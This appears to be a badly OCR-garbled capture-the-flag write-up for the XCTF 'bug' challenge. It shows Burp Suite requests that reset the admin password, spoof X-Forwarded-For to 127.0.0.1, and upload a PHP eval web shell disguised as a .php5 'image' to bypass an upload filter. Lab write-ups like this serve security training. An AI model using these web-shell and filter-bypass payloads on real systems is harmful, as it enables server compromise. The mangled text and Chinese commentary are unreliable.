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Hello, peak, Welcome

253 —FWR, KIManageE Eadmintl R :

159.138.137.79

Sorry, You are not admin!

dn.net/qq_41617034
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Request to http://159.138.137.79:49222

[ Forward ] [ Drop ] [ Intercept is on J [ Action

Params | Headers | Hex

POST findexphp?module = findpwd&step=2&doSubmit=yes HTTP/1.1

Host: 159.138.137.79:49222

User-Agent: Mozilla/5.0 (WVindows NT 10.0; Win&d; x64; n:71.0) Gecko,/20100101 Firefox/71.0
Accept: text/htmlapplication/=html+x<mlapplication/=ml;q=0.9,%/%q0=0.8
Accept-Language: zh-CN,zh:g=0.8zh-TW:q=0.7 zh-HK:q=0.5,en-US:q=0.3,en:q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-farm-urlencoded

Content-Length: 25

Origin: http://159.138.137.79:49222

Connection: close

Referer: http://159.138.137.79:49222 /index.php?module = findpwd&step =18 doSubmit=yes
Cookie: PHPSESSID=mbjg3i152uB85uakb1htf70t00

Upgrade-Insecure-Requests: 1

username:adm\'n&newpwd:peakl
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Go || cancel |[ < v ][ > Target: http://159.138.137.79:49222 w 2|
Request Response

Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLTRender}

GET /indexphp?module=admin HTTP/1.1

Host: 159.138.137.79:49222

User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Wing4; x64; rv:71.0) Gecko/20100101
Firefox/71.0

Accept: text/htmlapplication/<html+xml,application/f=xml;q=0.9,%/*,0=0.8
Accept-Language:
zh-CN,zh:q=0.8.zh-TW:;g=0.7,zh-HK:q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http://159.138.137.79:49222/index.php

Cookie: PHPSESSID =mbjg3i152u885uakb1htf70t00;
user=4b9987ccafacb8d8fc08d22bbea797ba
Upgrade-Insecure-Requests: 1

x-forwarded-for: 127.0.0.1
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Content-Length: 1369
Connection: close
Content-Type: text/html

<ldoctype html>
<htmllang="en">
<head>
<meta charset="UTF-8">
<title>Manager </title>
</head>
<body>
<style type="text/css">
* { margin: Opx; padding: Opx; }
.clearfix:after { content: ".% display: block; height: Opx; clear: both; visibility: hidden; }
whbox { width: 500px; margin: 20px auto }
.switchTab { border-bottom: 1px solid #CCC. margin-bottom: 10px }
.switchTab a { color: #444; font-size: 13px: background: #F5F5F5; display: block; text-decoration:
none; border-top-left-radius: 5px; border-top-right-radius: 5px; float: left margin-right: 5px;
border: 1px solid #CCC, border-bottom: none; padding: 3px 10px; }
.switchTab a.cur { color: #888; background: #FFF. }
.profileTable { font-size: 13px: width: 100%: margin: 10px Opx: border-collapse: collapse; }
.profileTable td { border-top:1px solid #CCC, border-bottom: 1px solid #CCC, padding: 5px; }
.profileTable td:nth-of-type(2n+1) { font-weight: bold; text-align: center; }
.px { border: 1px solid #CCC: padding:5px 3px: border-radius: 5px: margin:5px O: width: 150px }
button.px { display: block: font-size: 15px: width: 100px: height: 35px: background: #36C
border-radius: 3px; border: none; color: #FFF }

<fstyle>

<div class="wbox">
<div class="container">
<p>Where lc The Flag?</p>
<p style="font-sizex100px">: )</p>
</divs
</div>
<!-- index.php?module = filemanage8ido =771--> |

</body>
</html>
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<?php @eval($_REQUEST[peak]);?>

Itis a php!
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Request

Raw | Params | Headers | Hex
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Target: hitp://159.138.137.79:49222 @ @

Response

Raw | Headers | Hex HTMLIRender}

POST findex.php?module=filemanage&do=upload HTTP/1.1 & HTTP/1.1 200 OK A
Host: 159.138.137.79:49222 ) Date: Mon, 13 Apr 2020 08:43:15 GMT r
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Win&4; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Server: Apache/2.4.7 (Ubuntu)
Accept: text/html, application/=html+xml,application/=ml;g=0.9,%/*q=0.8 X-Powered-By: PHP/5.5.9-Tubuntud.26
Accept-Language: zh-CN,zh:q=0.8zh-TW:q=0.7 zh-HK:q=0.5,en-US:gq=0.3en;g=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: multipart/form-data; boundary=----------------o-cmcmo 191691572411478 Pragma: no-cache
Content-Length: 238 Vary: Accept-Encoding
Origin: http://159.138.137.79:49222 Content-Length: 218
Connection: close Connection: close
Referer: httpy//159.138.137.79:49222/index.phpimodule=filemanage &do=upload Content-Type: text/html
Cookie: PHPSESSID =mbjg3i152u885uakb1htf7 0t00;
user=4b%9987 ccafacb8d8fc08d22bbca797ba <IDOCTYPE htmi>
Upgrade-Insecure-Requests: 1 <html>
<head>
191691572411478 <title>Message</title >
Content-Disposition: form-data; name="upfile"; filename <meta charset="UTF-8" />
Content-Type: application/octet-stream </head>
<body>
<Iphp @eval($_REQUEST[pealk]);?> <script>alert(ltisa
191691572411478-- php!'). </script> <script>window.location.href="index.php' </script> </body> </html>
FRE T A AR P AR R RF, Bl ?, IR K peak php I BMEBA: <script
language="php">@eval($_REQUEST[peak])</script> , FR L&, 00&MWith ok, KIHKRE, EEEMEIF?
B J5 KRB php4 FphpSa] L _EAAER BIA R ER.. .45 ! BN EKMIME
| G | cancel [ <[v]| > Target: hitp:/1159.138.137.19:49222 | # || 2
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render }
POST findexphp?module=filemanage&do=upload HTTP/1.1 & HTTP/1.1 200 OK A
Host: 159.138.137.79:49222 M Date: Mon, 13 Apr 2020 08:54:37 GMT r
User-Agent: Mozilla/5.0 (Windows NT 10.0; '\Wine4; x64; rv:i71.0) Gecko/20100101 Firefox/71.0 Server: Apache/24.7 (Ubuntu)
Accept: text/htmlapplication/s<html+xmlapplication/«ml:q=0.9%/*:q=0.8 X-Powered-By: PHP/5.5.9-Tubuntud.26
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7,zh-HK:q=0.5,en-US;q=0.3 en;q=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-stare, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: multipart/form-data; boundary=---- ---57052814523281 Pragma: no-cache
Content-Length: 222 Vary: Accept-Encoding
Origin: http://159.138.137 79:49222 Content-Length: 234
Connection: close Connection: close
Referer: httpy//159.138.137.79:49222 /index.php?module=fillemanage&do=upload Content-Type: text/html
Cookie: PHPSESSID =mbjg3i152u885uakb1htf70t00;
user=4h9987ccafach8d8fc08d22bbeca797ha <IDOCTYPE htm/>
Upgrade-Insecure-Requests: 1 <html>
<head>
57052814523281 <title>Message</title >
Content-Disposition: form-data; name="upfile"; filename="peak.php5" <meta charset="UTF-8" />
Content-Type: image/jpeg </head>
<body>
<Iphp @eval($ REQUEST[peak]);?> <script>alert( Something shows it i a
57052814523281-- php!"); </script> <script>window.location.href="index.php’ </script> < /body> < /html>
BB 4 Apeakjpg, SRAIT! Wt Rpeak phpKINAF HE, BizkFHETUE, MIAIGLEMEM <script
language="php">@eval($_REQUEST[peak])</script> R&iL, 75 %F|flag
| so || cancel | [ <|v ]| >]|¥ Target: htp://159.138.137.19:49222 | 7| 2
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render }
POST findexphpfmodule=filemanage&do=upload HTTP/1.1 & HTTF/1.1 200 OK &
Host: 159.138.137.7949222 0 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; '\Wine4; x64; rv:i71.0) Gecko/20100101 Firefox,/71.0
Accept: text/htmlapplication/s<html+xmlapplication/«ml:q=0.9%/*:q=0.8
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7,zh-HK:q=0.5,en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--------=cmmmmcemmmeeo 57052814523281
Content-Length: 245

Origin: http://159.138.137.79:49222

Connection: close

Referer: http://159.138.137.79:49222 f/index.php?module=fillemanage&do=upload

Cookie: PHPSESSID =mbjg3i152u885uakb1htf70t00;
user=4h9987ccafach8d8fc08d22bbecar97ha

Upgrade-Insecure-Requests: 1

Date: Mon, 13 Apr 2020 08:57:23 GMT

Server: Apache/24.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-Tubuntud.26

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-stare, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 287

Connection: close

Content-Type: text/html

<IDOCTYPE html>
<html>




57052814523281
Content-Disposition: form-data; name="upfile"; filename="peak php5"
Content-Type: image/jpeg

<script language="php"> @eval($_REQUEST[peak])</script>
57052814523281--

*: ZR

<head>
<title>Message< /title >
<meta charset="UTF-8" />
</head>
<body>
<script>alert('you have get points here is the
flag:cyberpeace{l 6ab9a817 c66c2afb48819083691fad0}'): </script> <script>window.loca
tion.href="index.php' </script> </body> </html>

(1) WRARKIpeak php5 XA & A ETphp A B ENT, H1:
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Target: hitp://159.138.137.79:49222 @ ila

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render }
POST findexphpimodule=filemanage&do=upload HTTP/1.1 & HTTF/1.1 200 OK &
Host: 159.138.137.79:49222 B Date: Mon, 13 Apr 2020 09:04:30 GMT r
User-Agent: Mozilla/5.0 (Windows NT 10.0; '\Wine4; x64; rv:i71.0) Gecko/20100101 Firefox/71.0 Server: Apache/24.7 (Ubuntu)
Accept: text/htmlapplication/<html+xmlapplication/xml;q=0.9,%/%q=0.8 X-Powered-By: PHP/5.5.9-Tubuntud .26
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: multipart/form-data; boundary=-------—----—-———--- oo~ 57052814523281 Pragma: no-cache
Content-Length: 216 Vary: Accept-Encoding
Origin: http://159.138.137 79:49222 Content-Length: 233
Connection: close Connection: close
Referer: http://159.138.137.79:49222 /index.php?module=fillemanage&do=upload Content-Type: text/html
Cookie: PHPSESSID =mbjg3i152u885uakb1htf70t00;
user=4b9987ccafach8d8fc08d22bbea797hba <IDOCTYPE himl>
Upgrade-Insecure-Requests: 1 <html>
<head>
57052814523281 <title>Meccage< /title >
Content-Disposition: form-data; name="upfile"; filename="peak.php5" <meta charset="UTF-8" />
Content-Type: image/jpeg </head>
<body>
<script>alert(1)</script> <script>alert('lt is not a really php
57052814523281-- file'): </script> <script>window.location.href="index.php’ </script> < /body > < /html>
™M 45 2B Y 4=
(2) X IbZREERE php T AT
Go Cancel < v > | Target: http://159.138.137.79:49222 .; ?

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render }
POST findexphpimodule=filemanage&do=upload HTTP/1.1 : HTTF/1.1 200 OK :

Host: 159.138.137.79:49222

User-Agent: Mozilla/5.0 (Windows NT 10.0; '\Wine4; x64; rv:i71.0) Gecko/20100101 Firefox/71.0
Accept: text/htmlapplication/s<html+xmlapplication/«ml:q=0.9,%/*:q9=0.8
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--------=cmmmmcemmeeeeo 57052814523281
Content-Length: 244

Origin: http://159.138.137.79:49222

Connection: close

Referer: http://159.138.137.79:49222 /index.php?module=fillemanage&do=upload

Cookie: PHPSESSID =mbjg3i152u885uakb1htf70t00;
user=4h9987ccafach8d8fc08d22bbecar97ha

Upgrade-Insecure-Requests: 1

57052814523281
Content-Disposition: form-data; name="upfile"; filename="peakjpg"
Content-Type: image/jpeg

<script language="php"> @eval(3_REQUEST[peak])</script>
57052814523281--

BE: XBEEEE

Date: Mon, 13 Apr 2020 09:06:49 GMT

Server: Apache/24.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-Tubuntud .26

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 227

Connection: close

Content-Type: text/html

<IDOCTYPE htm/>
<html>
<head>
<title>Message< /title >
<meta charset="UTF-8" />
</head>
<body>

<script>alert('You know what |
want!'); </script> <script>window.location.href="index.php' </script> </body> </html>




it 3 R IR TR B AR
XHEUR B ST
M EERSS(FEERKR, AR EEHN—EARY, FARapudiE! )

o ER: MIMERRLRE S, A4 ERiphoHTHT: SCH I 2 BEE Rphp X, 10 EL#Rphp e i B 1y 253 ARl 4 B
B, AR



	XCTF-高手进阶区：bug

